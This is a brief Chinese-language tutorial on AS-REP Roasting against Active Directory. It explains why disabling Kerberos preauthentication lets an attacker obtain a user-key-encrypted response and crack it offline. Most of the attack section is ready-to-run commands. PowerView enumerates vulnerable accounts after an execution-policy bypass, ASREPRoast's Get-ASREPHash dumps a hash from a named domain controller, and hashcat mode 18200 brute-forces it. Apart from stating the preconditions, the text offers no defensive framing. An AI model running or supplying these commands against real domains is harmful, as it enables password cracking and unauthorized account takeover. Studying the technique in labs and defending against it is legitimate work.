简介
AS-REP Roasting是一种对用户账号进行离线爆破的攻击方式。但是该攻击方式利用比较局限,因为其需要用户账号设置 "Do not require Kerberos preauthentication(不需要kerberos预身份验证) " 。而该属性默认是没有勾选上的。
预身份验证是Kerberos身份验证的第一步(AS_REQ & AS_REP),它的主要作用是防止密码脱机爆破。默认情况下,预身份验证是开启的,KDC会记录密码错误次数,防止在线爆破。
当关闭了预身份验证后,攻击者可以使用指定用户去请求票据,此时域控不会作任何验证就将 TGT票据 和 该用户Hash加密的Login Session Key返回。因此,攻击者就可以对获取到的用户Hash加密的Login Session Key进行离线破解,如果破解成功,就能得到该指定用户的密码明文。
AS-REP Roasting Attack
攻击条件
- 域用户设置了 “ Do not require Kerberos preauthentication(不需要kerberos预身份验证) ”
- 需要一台可与域控进行通信的主机 / 用户
Attack
1、用PowerView查找域中设置了 “不需要kerberos预身份验证” 的用户
powershell -exec bypass
Import-Module .\PowerView.ps1
Get-DomainUser -PreauthNotRequired
2、获取用户后,接着使用ASREPRoast.ps1获取AS-REP返回的Hash
Import-Module .\ASREPRoast.ps1
Get-ASREPHash -UserName test -Domain sentiment.com -Server 192.168.52.163 | Out-File -Encoding ASCII hash.txt
3、将hash改成hashcat所能识别的格式,即:在$krb5asrep后加上$23
Hashcat是自称世界上最快的密码恢复工具。它在2015年之前拥有专有代码库,但现在作为免费软件发布。适用于Linux,OS X和Windows的版本可以使用基于CPU或基于GPU的变体。支持hashcat的散列算法有Microsoft LM哈希,MD4,MD5,SHA系列,Unix加密格式,MySQL和Cisco PIX等,可参考:Hashcat的使用手册总结 - 先知社区 (aliyun.com)
4、使用hashcat对hash进行离线爆破
hashcat -m 18200 hash.txt password.txt --force
-m hash类型
18200代表 | Kerberos 5, etype 23, AS-REP | Network Protocol